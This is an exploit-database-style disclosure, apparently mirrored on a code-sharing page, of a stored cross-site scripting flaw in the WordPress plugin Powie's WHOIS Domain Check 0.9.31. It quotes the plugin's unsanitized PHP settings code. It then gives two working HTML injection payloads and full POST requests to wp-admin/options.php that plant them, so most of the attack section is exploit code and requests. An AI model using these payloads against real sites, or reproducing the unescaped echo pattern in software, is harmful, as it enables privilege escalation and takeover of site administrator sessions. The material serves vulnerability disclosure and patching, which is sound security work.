扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 |
# Exploit Title: WordPress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting # Date: 2020-07-07 # Vendor Homepage: https://powie.de # Vendor Changelog: https://wordpress.org/plugins/powies-whois/#developers # Software Link: https://wordpress.org/plugins/powies-whois/ # Exploit Author: mqt # Author Homepage: https://blog.haao.sh 1. Description Powie's WHOIS WordPress plugin was found to be vulnerable to Stored XSS as multiple fields in the plugin's setup settings fail to properly sanitize user input. The risk here is mitigated due to the fact that active exploitation would require authentication. However a lower privileged Wordpress user would be able to take advantage of the fact that the arbitrary Javascript executes on the same origin and therefore by using a specially crafted payload, an attacker would be able to elevate their privileges or take any of the same actions an admin would be able to. All WordPress websites using Powie's WHOIS version < 0.9.31 are vulnerable. 2. Vulnerability There are two sets of vulnerable fields with each requiring a different payload in order exploit. The first set of vulnerable fields display output using the <code><textarea> element. Show on available domains (display-on-free) Show on unavailable domains (display-on-connect) Show on invalid domain (display-on-valid) As no sanitization is being performed, an attacker can use a closing </textarea></code> tag to close the HTML element and thus is able to inject arbitrary Javascript. Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php) <tr valign="top"> <th scope="row"><?php _e('Show on available domains', 'powies-whois') ?></th> <td><textarea rows="3" name="display-on-free" style="width:100%;"><?php echo get_option('display-on-free'); ?></textarea></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Show on unavailable domains', 'powies-whois') ?></th> td><textarea rows="3" name="display-on-connect" style="width:100%;"><?php echo get_option('display-on-connect'); ?></textarea></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Show on invalid domain', 'powies-whois') ?></th> <td><textarea rows="3" name="display-on-invalid" style="width:100%;"><?php echo get_option('display-on-invalid'); ?></textarea></td> </tr> Payload: </textarea><img src=/ onerror=alert(1)> Vulnerable HTTP Request: POST /wp-admin/options.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php Content-Type: application/x-www-form-urlencoded Content-Length: 479 Origin: http://localhost Connection: close Cookie: <snipped for brevity> Upgrade-Insecure-Requests: 1 option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&display-on-connect=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E&display-on-invalid=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%283%29%3E&before-whois-output=&after-whois-output= The second set of vulnerable fields display output using the <input> element, specifically in the value attribute. As no sanitization is performed, an attacker is able to use specially crafted input to escape the value attribute and thus have the ability to inject arbitrary Javascript. Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php) <tr valign="top"> <th scope="row"><?php _e('HTML before whois output', 'powies-whois') ?></th> <td><input type="text" name="before-whois-output" value="<?php echo get_option('before-whois-output'); ?>" style="width:100%;" /></td> </tr> <tr valign="top"> <th scope="row"><?php _e('HTML after whois output', 'powies-whois') ?></th> <td><input type="text" name="after-whois-output" value="<?php echo get_option('after-whois-output'); ?>" style="width:100%;"/></td> </tr> Payload: "><img src=/ onerror=alert(1)> Vulnerable HTTP Request: POST /wp-admin/options.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php Content-Type: application/x-www-form-urlencoded Content-Length: 398 Origin: http://localhost Connection: close Cookie: <snipped for brevity> Upgrade-Insecure-Requests: 1 option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=&display-on-connect=&display-on-invalid=&before-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&after-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E |
体验盒子
